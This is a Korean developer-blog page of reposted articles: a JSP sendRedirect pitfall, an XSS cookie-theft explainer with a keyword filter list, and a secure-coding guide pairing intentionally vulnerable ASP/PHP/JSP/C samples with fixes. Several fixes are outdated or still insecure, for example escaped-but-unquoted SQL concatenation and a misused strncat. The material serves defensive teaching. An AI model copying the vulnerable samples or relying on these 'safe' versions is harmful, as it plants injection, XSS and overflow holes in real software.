Uniform Resource Identifier (URI): Generic Syntax, T. Berners-Lee, R. Fielding, L. Masinter, editors. IETF, January 2005.
[RFC3987]
Internationalized Resource Identifiers (IRIs), M. Duerst, M. Suignard, editors. IETF, January 2005.
[Window]
Window Object 1.0 (work in progress), I. Davis, M. Stachowiak, editors. W3C, April 2006.
[XML]
Extensible Markup Language (XML) 1.0 (Fourth Edition), T. Bray, J. Paoli, C. Sperberg-McQueen, E. Maler, F. Yergeau, editors. W3C, September 2006.
[XMLNS]
Namespaces in XML (Second Edition), T. Bray, D. Hollander, A. Layman, R. Tobin, editors. W3C, August 2006.

감사의 말

이 절은 비규범적이다.

The editor would like to thank to the following people who have contributed to this specification (ordered by first name):

  • Ahmed Kamel
  • Alex Hopmann
  • Alex Vincent
  • Alexey Proskuryakov
  • Asbjørn Ulsberg
  • Boris Zbarsky
  • Björn Höhrmann
  • Cameron McCormack
  • Christophe Jolif
  • Charles McCathieNevile
  • Dan Winship
  • David Håsäther
  • Dean Jackson
  • Denis Sureau
  • Doug Schepers
  • Douglas Livingstone
  • Elliotte Harold
  • Eric Lawrence
  • Gideon Cohn
  • Gorm Haug Eriksen
  • Hallvord R. M. Steen
  • Håkon Wium Lie
  • Ian Davis
  • Ian Hickson
  • Ivan Herman
  • Jeff Walden
  • Jens Lindström
  • Jim Deegan
  • Jim Ley
  • Joe Farro
  • Jonas Sicking
  • Julian Reschke
  • Karl Dubost
  • Maciej Stachowiak
  • Magnus Kristiansen
  • Marc Hadley
  • Marcos Caceres
  • Mark Baker
  • Mark Nottingham
  • Mohamed Zergaoui
  • Pawel Glowacki
  • Robin Berjon
  • Ruud Steltenpool
  • Simon Pieters
  • Stewart Brodie
  • Sunava Dutta
  • Zhenbin Xu

Special thanks to the Microsoft employees who first implemented the XMLHttpRequest interface, which was first widely deployed by the Windows Internet Explorer browser.

Special thanks also to the WHATWG for drafting an initial version of this specification in their Web Applications 1.0 document (now renamed to HTML 5). [HTML5]

Thanks also to all those who have helped to improve this specification by sending suggestions and corrections. (Please, keep bugging us with your issues!)

Posted by 1010
90.개발관련문서2009. 10. 5. 22:27
반응형
response.sendRedirect()의 잘못된 사용방법과 올바른 사용방법

JSP 페이지에서 특정한 작업을 수행한 후 지정한 페이지로 이동하고 싶은 경우가 있을 것이다. 예를 들어, 게시판에 글을 저장한 후에 목록 페이지로 이동하는 경우가 이에 해당한다. 이렇게 특정 처리 후, 또는 특정 조건일 때에 지정한 페이지로 이동하고 싶은 경우 많이 사용되는 것이 response.sendRedirect() 메소드이다. (물론, 서블릿 프로그래밍에서도 같은 이유로 사용된다.)

    <%
        if ( authManager.loginCheck(request) ) {
            response.sendRedirect("/loginForm.jsp");
        }
    %>

로그인을 하지 않은 경우 JSP 페이지에서는 위 코드와 비슷한 방법으로 response.sendRedirect() 메소드를 사용해서 로그인 페이지로 이동할 것이다.

하지만, response.sendDirect() 메소드를 잘못 사용하는 경우를 종종 발견하곤 한다. 예를 들어, 다음의 코드를 살펴보자.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>

위 JSP 코드는 요청 파라미터 "code"가 존재하지 않으면 "/" 페이지로 이동하고, 그렇지 않을 경우 code를 대문자로 변경해서 보여주는 아주 간단한 로직을 수행하고 있다. 하지만, 위 JSP 페이지를 웹 브라우저에서 실행할 때 code 파라미터 값을 입력하지 않으면 "/" 페이지로 리다이렉트 하는 게 아니라 다음 그림처럼 예외가 발생하게 된다.


에러가 발생하는 이유는 sendRedirect() 메소드가 호출된다 하더라도 계속해서 JSP 코드는 실행된다는 것을 망각했기 때문이다. 다시 한번 위의 코드를 보자.


respons.sendRedirect() 메소드가 호출되면 그 위에 있는 나머지 코드는 실행되지 않을 것이라고 착각을 하지만, 실제로는 나머지 코드도 다 실행된다. (자바 프로그램의 관점에서 봤을 때, sendRedirect() 메소드는 작업을 수행한 후 리턴을 하게 되며 나머지 코드를 실행하는 것은 지극히 당연한 일이다.)

sendRedirect() 메소드가 하는 일은 웹브라우저에 전송되는 헤더 정보에 어느 페이지로 리다이렉트하라는 정보는 넣는 것 뿐이지, 실제로 JSP 프로그램의 흐름을 변경하는 것은 아니다. 그렇다면 어떻게 이 문제를 해결해야 할까? 간혹, 위 코드를 다음과 같이 변경해서 에러만 발생하지 않도록 문제를 해결하는 경우가 있다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
        if (code == null) code = ""; // 에러만을 막는 비논리적 방법!
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>

간단한 코드에서는 위와 같은 방법으로도 에러를 막을 수가 있다. 하지만, 반드시 로그인을 한 경우에만 실행되어야 하는 코드가 response.sendRedirect() 메소드 이후에 위치한다고 생각해보자. 이런 경우에는 위와 같은 편법만으로는 논리적 오류(로그인을 하지 않았는데도 로그인을 필요로 하는 기능이 수행되는 것)를 막을 수가 없다. 즉, 시스템상에 숨겨진 버그 내지 결함이 발생하는 것이다.

response.sendRedirect() 메소드 이후에 코드가 실행된다는 점을 망각한 코드를 올바르게 수정하기 위해서는 다음과 같이 if-else 블럭을 사용해주어야 한다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        } else {    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>
    <%
        }
    %>

또는 다음과 같은 형태의 코드를 취해도 된다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
    %>
   
    <%
        if (code != null) {
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>
    <%
        }
    %>

response.sendRedirect() 메소드가 유용한 기능이지만, 앞에서 살펴본 것 처럼 잘못 사용하면 논리적인 결함이 발생할 수 있다. 이 점에 유의해서 이 기능을 사용하기 바란다.

관련링크:


출처 : http://javacan.tistory.com/78

Posted by 1010
90.개발관련문서2009. 10. 5. 22:24
반응형

IE 8 ㅡㅡ;; "교차"라는 말도 맞긴 하지만, 은근히  애매한듯...


자, 이제 크로스사이트 스크립팅(XSS)에 관하여 정리해보자.


날도 뻐근하고, 봄이면.. 잠만 퍼질러 자는 체질이라.. 너무 놀았네..


XSS사이트 스크립트의 일반적인 공식에 대해서 알아보겠다..


웹 사이트를 들어가보게 되면, 기본적인 게시판, 메일등 사용자가 직접 올릴수 있는 부분이 한개씩은 있기 마련이다.

위의 그림이 XSS의 기본적인 그림을 그린것이다.


1. 공격자는 서버에게 타겟(불특정 다수)이 읽을수 있도록, 내용과 악성 스크립트를 포함시킨 코드를 올리게 된다.


2. 타겟은 글을 읽음으로서, 공격자에게 자신이 의도치 않은 쿠키값을 전송하게 된다.


3. 쿠키 정보를 수집한 공격자는 타겟의 계정과 동일하게 모든 권한을 가지게 된다.


[ 쿠키(Cookie) ]



- 사용자가 어떠한 웹서버의 접속을 요청하게 되면, 로컬 시스템은 쿠키값을 참조하여 접속하게 된다.

   

   기존의 사이트 쿠키값이 없을 경우, 웹 서버에 접속하게 되면 자신의 시스템에 4kbyte이하의 쿠키값이 생성한다.

  

   쿠키값은 사용자의 브라우저의 정보를 쿠키값에 지정하게 되며, Windows_Server에서의 경로를 표시하였다.


각각의 포함된 쿠키값은 Web_Server별로 정리되어져 있으며, 사용자 ID와 접속 서버로 이루어져 있다.


일반적으로 확인하게 되면, Domain Name Server / 구분 ID(숫자) / 쿠키만기일 등의 구조로 이루어질 것이다.


그렇다면?? 왜 쿠키값이 위험한 것일까??


쿠키는 일반적으로 위의 정보를 제외한, 접속자의 개인 정보까지 포함되어 있어 취약점으로 발전해온 것이다.


내가 만약 네이버에 접속하였을 경우, 그에 대한 ID와 PW는 쿠키값이 포함되어져 있다.


네이버에 처음 접속하였다고 하자. 그렇다면 네이버 서버에 접속하게 되면, 4kbyte이하의 쿠키값이 접속 호스트에 저장이 될것이며,


그에 대한 쿠키값은 다음 접속시 접속할 서버는 쿠키값을 가지고, 파악하게 된다.


쿠키값은 접속 종료시 즉각, 정보가 사라지는 것이 아니다.


간혹가다 사이트 계정으로 접속하여, 브라우저를 끄고, 다시 접속해보면 기존의 ID계정으로 접속해있는 것을 보았을 것이다.


[ 쿠키(Cookie)의 중요성 ]


1. 사용자의 계정 정보


2. 자주 방문하는 서버의 정보


3. 장바구니 시스템(물건 구매시 쿠키값에 남는 현상)

    위와 같은 것들이 일반적인 쿠키의 적용 방식이다.


[ XSS 공격 특성 ]

- 기본적인 설명은 위에서 하였으므로, XSS에 대해서 더욱더 들어가보자.


[ 공격 순서 ]

1. 게시판과 같은 응용 프로그램에 스크립트 작성 언어를 올려놓게 된다.(불특정 다수)



2. 파일 열람시 타겟은 자신도 모르게 쿠키값을 가로 채이게 된다.


3. 일반적으로, 공격자는 파로스와 같은 툴로서 쿠키값을 확인하게 된다.




4. 쿠키값을 이용하여, 계정 도용이 가능하다


[ 방어 대책 ]

1. 쿠키 값에 중요한 정보는 응용 프로그램 관리자가 포함되지 않도록 설정.


2. 사용자의 입력 값에대한 필터링

    <script></script> / <javascript> / document.cookie


3. HTML 태그의 미활성화(동적 웹 특성에 대한 HTML활성화.)


4. 스크립트 언어(ASP,PHP,JAVA등)의 문구를 다른 코드로 대체, 혹은 필터링


5. 가장 중요한 것은 관리자의 지속적인 점검


출처 : http://nuninaya.tistory.com/category/%EA%B0%9C%EB%B0%9C/WAS_JBOSS

Posted by 1010
90.개발관련문서2009. 10. 5. 22:21
반응형
Posted by 1010
90.개발관련문서2009. 10. 5. 22:14
반응형

3장 1절 접근통제 취약점


□ 취약한 프로그래밍 예
  1. <HTML>
    <HEAD><TITLE> 관리자 페이지 </TITLE>
    <SCRIPT language="JavaScript“>
    function getCookie(name)
    var cname = name +"=";
    var dc = document.cookie;
  2. if(dc.length > 0)
    begin = dc.indexOf(cname);
    if(begin != -1)
    begin += cname.length;
    end = dc.indexOf(";", begin);
  3. if(end == -1) end = dc.length;
    retrun unescape(dc.substring(begin, end));

  4. return null;
  5. function getValue(element)
    var value = getCookie(element.name);
    if(value != null) element.value = value;
  6. </SCRIPT>
    </HEAD>
    <BODY>
    <SCRIPT language="JavaScript">
    var auth;
    auth = getCookie("logged_in");
  7. if(auth != 1) // 인증 성공 쿠키가 없을경우 Main Page로 이동
    window.location = "http://victim.com/login.html";
  8. </SCRIPT>
  9. 관리자 페이지 내용

□ 안전한 프로그래밍 예

ASP
  1. <%
    If myfunc_userauth(userid, userpw) <> 1 Then 'DB에서 사용자 인증을 처리
    Response.write "인증 실패"
    Else
    If Request.ServerVariables("REMOTE_ADDR") <> "10.10.1.1" Then' 관리자 IP 확인
    Response.write "관리자 IP가 아닙니다."
    Response.write "인증실패“
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    Else
    Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("userid") = userid
    Session("user_ip") = Request.ServerVariables("REMOTE_ADDR")
  2. LogSave($userid, $user_ip)'접속에 사용한 ID 및 IP 기록
  3. ... 중략 ...
    End If
    End If
    %>

  4. o PHP
  5. <?PHP
    @session_start(); //세션 데이터를 초기화
    if(!myfunc_userauth($userid, $userpw) || $_SERVER["REMOTE_ADDR'] != "10.10.1.1")
    //DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
    print "인증 실패";
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    exit;//인증 실패시 종료

  6. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  7. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("userid");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  8. LogSave($userid, $user_ip);// 접속한 사용자 ID 및 IP 기록
    ... 중략 ...

JSP
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
    <%@ page import="java.sql.* " %>
    <%
    //HttpSession session = request.getSession(true);
    String user_ip = request.getRemoteAddr();
  2. // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw) || !user_ip.equals("10.10.1.1"))
    //DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
    out.println "인증 실패";
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    session.putValue("logged_in","logok");
    session.putValue("userid",userid);
    session.putValue("user_ip", user_ip);
  3. LogSave(userid, user_ip);// 접속한 사용자 ID 및 IP기록
    ...


3장 2절 부적절한 파라미터 - 소스


□ ASP

취약한 프로그래밍 예
  1. <%
    strSize = Request.QueryString("font_size")'사용자로부터 폰트의 크기 입력
  2. Response.Write "<HTML><TITLE>사용자 입력값 검증</TITLE></HEAD>"
    Response.Write "<BODY>"
    Response.Write "<FONT size=" & strSize & ">글자 크기 조절</FONT>"
  3. ' ... 중략 ...

안전한 프로그래밍 예
  1. <%
    Size = Request.QueryString("font_size")' 사용자로부터 폰트의 크기 입력
  2. Size = CInt(Size)' 입력되는 값을 정수로 형 변환
  3. Response.Write "<HTML><TITLE>사용자 입력값 검증</TITLE></HEAD>"
    Response.Write "<BODY>"
    Response.Write "<FONT size=" & Size ">글자 크기 조절</FONT>"
  4. ' ... 중략 ...

□ PHP

취약한 프로그래밍 예
  1. <?PHP
    include "./inc/dbconn.inc";// DB 연결 헤더
    include $language . "/head.html";// 각 국가 언어별 HTML 출력
  2. $conn = mysql_connect($SERVER, $USER, $PASSWD);
    $query = "select count(*) from main_tbl";
  3. // ... 중략 ...

안전한 프로그래밍 예
  1. <?PHP
    @require_once "./inc/dbconn.inc";// DB 연결 헤더
    $default_lang = "korea";// 기본값 설정
  2. if(!file_exists($language."/head.html")) // 파일이 존재하는지 체크
    if(eregi(":\/\/", $language)) $language = $default_lang;// URL이 포함되는지 체크
    else // 파일이 없는 경우 기본값 설정
    $language = $default_lang;
  3. @require_once $language . "/head.html";// 각 국가 언어별 HTML 출력
  4. $conn = @mysql_connect($SERVER, $USER, $PASSWD);
    $query = "select count(*) from main_tbl";
  5. // ... 중략 ...

□ JSP

취약한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
  2. <HTML><HEAD><TITLE> 사이트 접속 불가 </TITLE>
    <META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://victim.com/bye.html">
    </HEAD>
    <BODY>
    <%
    out.print("지금 사용하고 계신 ");
    out.print(request.getHeader("USER-AGENT"));
    out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
    %>
    </BODY>
    </HTML>

안전한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
  2. <HTML><HEAD><TITLE> 사이트 접속 불가 </TITLE>
    <META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://victim.com/bye.html">
    </HEAD>
    <BODY>
    <%
    String user_agent = request.getHeader("USER-AGENT");
  3. // HTTP HEADER 중 USER_AGENT를 변경 하여 크로스사이트 스크립트 공격하는 것을 차단
    user_agent = user_agent.replaceAll("<","&lt;");// HTML tag가 있을 경우 제거
    user_agent = user_agent.replaceAll(">","&gt;");
  4. out.print("지금 사용하고 계신 ");
    out.print(user_agent);
    out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
  5. %>
    </BODY>
    </HTML>

3장 3절 취약한 세션 관리 (Cookie Injection) - 소스


□ ASP

취약한 프로그래밍 예
  1. 'login_ok.asp 사용자 인증 처리를 하는 스크립트
    <%
      ' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
      If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
        Response.write "인증 실패"
      Else
      '인증에 성공한 경우 처리 해야 되는 부분
        Response.Cookies("logged_in") = 1
        ' 인증에 성공했을경우 logged_in 에 1의 값을 셋팅
        Response.Cookies("userid") = userid
      End If
      ...
    %>
  2. user_menu.asp' 사용자 검증이 필요한 페이지
    <%
      IF Request.Cookies("logged_in") = 1 Then
        Response.write "허가된 사용자 입니다."
      Else
        Response.write "허가되지 않은 사용자 입니다."
      End If
    %>

안전한 프로그래밍 예
  1. ‘login_ok.asp 사용자 인증 처리를 하는 스크립트
    <%
    ' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
    Response.write "인증 실패"
    Else
    '인증에 성공한 경우 처리 해야 되는 부분
  2. If Session("logged_in") <> 1 Then
    Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("userid") = userid
    Session("user_ip") = Request.Servervariables("REMOTE_ADDR")
    End If
    End If
    ...
    %>
  3. ‘user_menu.asp 사용자 검증이 필요한 페이지
    <%
    IF Session("user_ip) = Request.Servervariables("REMOTE_ADDR") AND Session("logged_in") = 1 Then
    '인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    '...
    Else
    Response.write "허가되지 않은 사용자 입니다."
    End If
    %>

□ PHP

취약한 프로그래밍 예
  1. //login_ok.php// 사용자 인증 처리를 하는 스크립트
    <?PHP
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth($userid,$userpw))  //DB 에서 사용자 인증을 처리하는 부분
    print "인증 실패";
    exit;//인증 실패시 종료

  2. //인증에 성공한 경우 처리 해야 되는 부분
    setcookie("logged_in", "1");//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    setcookie("userid", $userid);
    ...
    ?>
  3. //user_menu.php// 사용자 검증이 필요한 페이지
    <?PHP
    if($_COOKIE["logged_in"] == 1)
    echo "인증 성공: " . $_COOKIE["userid"];
  4. ?>

=================================================================================================================

 o 안전한 프로그래밍 예

  1. //login_ok.php// 사용자 인증 처리를 하는 스크립트
    <?PHP
    @session_start(); //세션 데이터를 초기화
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth($userid,$userpw))  //DB 에서 사용자 인증을 처리하는 부분
    print "인증 실패";
    exit;//인증 실패시 종료
  2. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  3. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("userid");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  4. ...
    ?>
  5. //user_menu.php// 사용자 검증이 필요한 페이지
    <?PHP
    session_start();
    if(strcmp($_SESSION['user_ip'], $_SERVER['REMOTE_ADDR']) == 0 && session_is_registered('logged_in'))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    else
    print "허가되지 않은 사용자 입니다.";
    exit;
  6. ?>

□ JSP

취약한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
    //login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
    <%
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw))  //DB 에서 사용자 인증을 처리하는 부분
    out.println "인증 실패";
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    Cookie cookie1 = new Cookie("logged_in", "1");
    response.addCookie(cookie1);//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Cookie cookie2 = new Cookie("userid", userid);
    response.addCookie(cookie2);
    ...
    %>
  2. //user_menu.jsp// 사용자 검증이 필요한 페이지
    <%
    Cookie[] cookies = request.getCookies();
    for(int i=0; i< cookies.length; i++)
    Cookie thisCookie = cookie[i];
    if(thisCookie.getName.equals("logged_in"))
    String logged_in = thisCookie.getValue();
    if(thisCookie.getName.equals("userid"))
    String userid = thisCookie.getValue();

  3. if(logged_in.equals("1"))
    out.println("인증 성공: " + userid);
  4. %>

안전한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
    //login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
    <%
    //HttpSession session = request.getSession(true);
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw))  //DB 에서 사용자 인증을 처리하는 부분
    out.println "인증 실패";
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    session.putValue('logged_in',"1");
    session.putValue('userid',userid);
    session.putValue('user_ip',request.getRemoteAddr());
    ...
    %>
  2. //user_menu.jsp// 사용자 검증이 필요한 페이지
    <%
    //HttpSession session = request.getSession(true);
    String user_ip = session.getValue("user_ip");
  3. if(user_ip.equals(request.getRemoteAddr()) && logged_in.equals("1"))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    else
    out.println "허가되지 않은 사용자 처리.";
  4. %>


3장 4절 악의적인 명령 실행(XSS) - 소스


□ ASP

취약한 프로그래밍 예
  1. <%
    Set objDBConn = Server.CreateObject("ADODB.Connection")' 게시물 읽기
    Set objRs = Server.CreateObject("ADODB.RecordSet")
    objDBConn.Open "board", "user", "passwd"
  2. query = "SELECT id, name, memo FROM board_tbl WHERE id=1"
    objRs.Open query, objDBConn
  3. memo = objRs("memo")
    Response.write "게시물 내용-" & memo & "<BR>"' DB에서 게시판의 내용 출력

안전한 프로그래밍 예
  1. If use_html Then' HTML tag를 사용하게 할 경우 부분 허용
    memo = Server.HTMLEncode(memo) 'HTML tag를 모두 제거
  2. ' 허용할 HTML tag만 변경
    memo = replace(memo, "&lt;p&gt;", "<p>")
    memo = replace(memo, "&lt;P&gt;", "<P>")
    memo = replace(memo, "&lt;br&gt;", "<br>")
    memo = replace(memo, "&lt;BR&gt;", "<BR>")
  3. Else' HTML tag를 사용하지 못하게 할 경우
    memo = Server.HTMLEncode(memo)' HTML encoding 수행
    memo = replace(memo, "<", "&lt;")
    memo = replace(memo, ">", "&gt;")
    End If
  4. Response.write "게시물 내용-" & memo & "<BR>"

□ PHP

취약한 프로그래밍 예
  1. $query = "SELECT id, name, memo FROM board_tbl WHERE id=1";// 게시물 읽기
    $result = mysql_query($query, $connect);
  2. while($row = mysql_fetch_array($result))
    $name = $row[name];
    $memo = $row[memo];
    echo "게시물 내용-" . $memo . "<BR>\n";// DB에서 게시판의 내용을 출력

안전한 프로그래밍 예
  1. $use_tag = "img,font,p,br";// 허용할 HTML tag
  2. if($use_html == 1) // HTML tag를 사용하게 할 경우 부분 허용
    $memo = str_replace("<", "&lt;", $memo);// HTML TAG를 모두 제거
  3. $tag = explode(",", $use_tag);
    for($i=0; $i<count($tag); $i++) // 허용할 TAG만 사용 가능하게 변경
    $memo = eregi_replace("&lt;".$tag[$i]." ", "<".$tag[$i]." ", $memo);
    $memo = eregi_replace("&lt;".$tag[$i].">", "<".$tag[$i].">", $memo);
    $memo = eregi_replace("&lt;/".$tag[$i], "</".$tag[$i], $memo);
  4. else // HTML tag를 사용하지 못하게 할 경우
  5. // $memo = htmlspecialchars($memo);
    // htmlspecialchars() 사용시 일부 한글이 깨어지는 현상이 발생 할 수 있음
  6. $memo = str_replace("<", "&lt;", $memo);
    $memo = str_replace(">", "&gt;", $memo);

  7. echo "게시물 내용-" . $memo . "<BR>\n";

□ JSP

취약한 프로그래밍 예
  1. Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
    Statement stmt = conn.createStatement();
    ResultSet rs=null;
  2. String query = "SELECT memo FROM board_tbl WHERE id=1";
    rs = stmt.executeQuery(query);
    String memo = rs.getString(1);
    out.print("게시물 내용-" + memo + "<BR>");

안전한 프로그래밍 예
  1. if(use_html) // HTML tag를 사용하게 할 경우 부분 허용
    memo = memo.replaceAll("<","&lt;");//HTML tag를 모두 제거
    memo = memo.replaceAll(">","&gt;");
  2. // 허용할 HTML tag만 변경
    memo = memo.replaceAll("&lt;p&gt;", "<p>");
    memo = memo.replaceAll("&lt;P&gt;", "<P>");
    memo = memo.replaceAll("&lt;br&gt;", "<br>");
    memo = memo.replaceAll("&lt;BR&gt;", "<BR>");
  3. else // HTML tag를 사용하지 못하게 할 경우
    memo = memo.replaceAll("<","&lt;");
    memo = memo.replaceAll(">","&gt;");
  4. out.print("게시물 내용-" + memo + "<BR>");


3장 5절 버퍼 오버플로우 - 소스


□ strcpy() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strcpy(buffer, str);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strncpy(buffer, str, sizeof(buffer)-1);
    buffer[sizeof(buffer)-1] = 0;
    return;
    }

□ strcat() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strcat(buffer, str);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strncat(buffer, str, sizeof(buffer)-1);
    return;
    }

□ sprintf() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    sprintf(buffer, "%s", str);
    return;
    }

 

□ gets() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    gets(buffer);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    fgets(buffer, sizeof(buffer)-1, stdin);
    return;
    }

□ scanf(), sscanf(), fscanf() 함수의 대체

취약한 프로그래밍 예
  1. void func() {
    char buffer[256];
    int num;
    num = fscanf(stdio, "%s", buffer); char buffer[256];
    return;
    }

안전한 프로그래밍 예
  1. void func() {
    char buffer[256];
    int num;
    num = fscanf(stdio, "%255s", buffer);
    return;
    }

□ C로 개발한 프로그램

버퍼오버플로우 취약점 예제
  1. #include <stdio.h>
    #include <string.h>
    #define FILENAME "/usr/local/apache/cgi-bin/counter.dat"
  2. int main() {
    FILE *fp;
    int counter=0;
    char envc[255], *env;
  3. env = getenv("HTTP_USER_AGENT");
  4. printf("Content-Type: text/html \n\n");
  5. if (!env)
                    exit(1);
  6. strcpy(envc, env);
    strtok(envc," ");
  7. if((fp=fopen(FILENAME,"rt")) == NULL ) exit(1);
    fscanf(fp,"%d",&counter);
    fclose(fp);
    printf("<FONT size=2><B>VISIT</B>: %d / <B>BROWSER</B>: %s</FONT>\n",counter, envc);
  8. if((fp=fopen(FILENAME,"wt")) == NULL ) exit(1);
    fprintf(fp,"%d\n",counter+1);
    fclose(fp);
  9. return 0;
    }

버퍼오버플로우 취약점 제거 예제
  1. #include <stdio.h>
    #include <string.h>
    #define FILENAME "/usr/local/apache/cgi-bin/counter.dat"
  2. int main() {
    FILE *fp;
    int counter=0;
    char envc[255], *env;
  3. env = getenv("HTTP_USER_AGENT");
    printf("Content-Type: text/html \n\n");
  4. if (!env)
                    exit(1);

  5. strncpy(envc, env, sizeof(envc)-1);
    strtok(envc," ");
  6. if((fp=fopen(FILENAME,"rt")) == NULL ) exit(1);
    fscanf(fp,"%d",&counter);
    fclose(fp);
    printf("<FONT size=2><B>VISIT</B>: %d / <B>BROWSER</B>: %s</FONT>\n",counter, envc);

  7. if((fp=fopen(FILENAME,"wt")) == NULL ) exit(1);
    fprintf(fp,"%d\n",counter+1);
    fclose(fp);
  8. return 0;
    }

3장 6절 악의적인 명령어 주입 공격 (SQL Injection) - 소스


□ ASP

취약한 SQL Injection 예제
  1. prodId = Request.QueryString("productId")
  2.  Set conn = server.createObject("ADODB.Connection")
     Set rs = server.createObject("ADODB.Recordset")
  3.  query = "select prodName from products where id = " & prodId
  4.  conn.Open "Provider=SQLOLEDB; Data Source=(local);
     Initial Catalog=productDB; User Id=dbid; Password="
     rs.activeConnection = conn
     rs.open query
  5.  If not rs.eof Then
     response.write "제품명" & rs.fields("prodName").value
     Else
     response.write "제품이 없습니다"
     End If

안전한 SQL Injection 예제
  1. prodId = Request.QueryString("productId")
    prodId = replace(prodId, "'", "''")' 특수문자 제거
    prodId = replace(prodId, ";", "")
    set conn = server.createObject("ADODB.Connection")
    set rs = server.createObject("ADODB.Recordset")
    query = "select prodName from products where id = " & prodId
    conn.Open "Provider=SQLOLEDB; Data Source=(local);
    Initial Catalog=productDB; User Id=dbid; Password="
    rs.activeConnection = conn
    rs.open query
    If not rs.eof Then
    response.write "제품명" & rs.fields("prodName").value
    Else
    response.write "제품이 없습니다"
    End If

□ PHP

취약한 SQL Injection 예제
  1. $query = "SELECT id, password, username FROM user_table WHERE id='$id'";
    // 사용자로부터 입력받은 id 값을 사용자 table에서 조회
    $result = OCIParse($conn, $query);
    if (!OCIExecute($result))
    echo "<META http-equiv=\"refresh\" content=\"0;URL=http://victim.com\">";
    // 메인 페이지로 redirect
  2. OCIFetchInto($result, &$rows);
    ... 중략 ...

안전한 SQL Injection 예제
  1. $query = sprintf("SELECT id,password,username FROM user_table WHERE id='%s';",addslashes($id));
    // id변수를 문자형으로 받고, id변수의 특수문자를 일반문자로 변환한다.
  2. // @ 로 php 에러 메시지를 막는다.
    $result = @OCIParse($conn, $query);
    if (!@OCIExecute($result))
    error("SQL 구문 에러");
    exit;
  3. @OCIFetchInto($result,&$rows);
    ... 중략 ...

□ JSP

취약한 SQL Injection 예제
